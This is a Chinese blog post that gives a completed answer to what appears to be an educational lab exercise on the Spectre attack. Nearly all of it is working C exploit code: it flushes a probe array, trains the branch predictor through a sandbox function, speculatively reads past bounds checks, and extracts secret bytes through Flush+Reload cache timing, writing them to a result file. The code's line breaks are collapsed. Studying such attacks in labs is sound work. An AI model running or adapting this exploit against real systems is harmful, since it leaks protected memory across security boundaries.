平臺(tái)會(huì)對(duì)你編寫的代碼和信息竊取結(jié)果進(jìn)行測(cè)試。
預(yù)期輸出:
開始你的任務(wù)吧,祝你成功!
#include <emmintrin.h> #include <x86intrin.h> #include <stdlib.h> #include <stdio.h> #include <stdint.h> #include <unistd.h> #include <string.h> #include "encipher.h"extern unsigned int bound_lower; extern unsigned int bound_upper;uint8_t temp = 0;uint8_t array[256*4096];/* 請(qǐng)去掉下面一行的注釋,并將括號(hào)中的'THRESHOLD'替換為具體門限值,該門限值可以根據(jù)第一關(guān)中測(cè)得的緩存命中時(shí)延設(shè)定*/ #define CACHE_HIT_THRESHOLD (80)#define DELTA 2048 static int scores[256]; FILE *fp;void flushSideChannel() {//補(bǔ)全下方代碼,初始化array數(shù)組,并將所有相關(guān)數(shù)據(jù)從緩存中驅(qū)逐/*************************************/int i;for(i=0;i<256;i++){array[i*4096+DELTA]=1;}for(i=0;i<256;i++){_mm_clflush(&array[i*4096+DELTA]);}/*************************************/ }void reloadSideChannelImproved() {//補(bǔ)全下方代碼,完成高速緩存?zhèn)刃诺赖腞eload步驟,根據(jù)緩存命中情況,更新score數(shù)組/*************************************/int i;volatile uint8_t *addr;register uint64_t time1, time2;int junk = 0;for (i = 0; i < 256; i++) {addr = &array[i * 4096 + DELTA];time1 = __rdtscp(&junk);junk = *addr;time2 = __rdtscp(&junk) - time1;if (time2 <= CACHE_HIT_THRESHOLD){scores[i]++; }} /*************************************/ }void spectreAttack(size_t index_beyond) {//補(bǔ)全下方代碼,針對(duì)指定的內(nèi)存位置,開展Spectre攻擊,包括緩存清空、CPU訓(xùn)練、緩存驅(qū)逐、預(yù)測(cè)執(zhí)行和緩存加載等環(huán)節(jié)/*************************************/int i;uint8_t s;volatile int z;for (i = 0; i < 256; i++) { _mm_clflush(&array[i*4096 + DELTA]); }// 訓(xùn)練CPU,使其在攻擊時(shí)進(jìn)入期望的預(yù)測(cè)分支.for (i = 0; i < 10; i++) {get_info_sand_box(i);}// 將上界、下界以及array的數(shù)據(jù)從緩存中驅(qū)逐。_mm_clflush(&bound_upper);_mm_clflush(&bound_lower); for (i = 0; i < 256; i++){ _mm_clflush(&array[i*4096 + DELTA]); }for (z = 0; z < 100; z++) { }// 調(diào)用沙箱訪問函數(shù),利用預(yù)測(cè)執(zhí)行漏洞訪問合法內(nèi)存邊界之外的秘密值s = get_info_sand_box(index_beyond);if(s!=0)array[s*4096 + DELTA] += 88;/*************************************/ }int main() {//補(bǔ)全下方代碼,針對(duì)敏感信息secret的每個(gè)字節(jié),逐個(gè)進(jìn)行提取,每個(gè)字節(jié)的提取操作執(zhí)行1000次,并按照指定格式輸出提取結(jié)果及其積分值(可以包括最優(yōu)值與次優(yōu)值,即score最大的值和第二大的值的索引)。//打印示例:printf("第%d個(gè)秘密字符的最優(yōu)值 \'%c\' (ASCII: %d) 積分:[%d] ", k, (max > 31 && max < 127 ? max : '?'), max, scores[max]);/*************************************/int i;uint8_t s;fp=fopen("/home/result.txt","w");size_t index_beyond = get_addr_offset();flushSideChannel();for(int k=0;k<get_secret_len();k++){for(i=0;i<256; i++){scores[i]=0; }for (i = 0; i < 1000; i++) {spectreAttack(index_beyond+k);usleep(10);reloadSideChannelImproved();}int max = 0; int mx= 0; for (i = 0; i < 256; i++){// printf("%d ", scores[i]);if(scores[max] < scores[i]) {max = i;}}for (i = 0; i < 256; i++){if(scores[mx] < scores[i] && i!=max) {mx = i;}}printf("第%d個(gè)秘密字符的最優(yōu)值 '%c' (ASCII: %d) 積分:[%d] 次優(yōu)值 '%c' (ASCII: %d) 積分:[%d]\n", k, (max > 31 && max < 127 ? max : '?'), max, scores[max],(mx > 31 && mx < 127 ? mx : '?'), mx, scores[mx]);fprintf(fp,"%c",(max > 31 && max < 127 ? max : '?'));}/*************************************/return (0); }總結(jié)
以上是生活随笔為你收集整理的Spectre侧信道攻击过程验证的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 【SAS系列】SAS入门书籍推荐
- 下一篇: 秩为1的矩阵的性质总结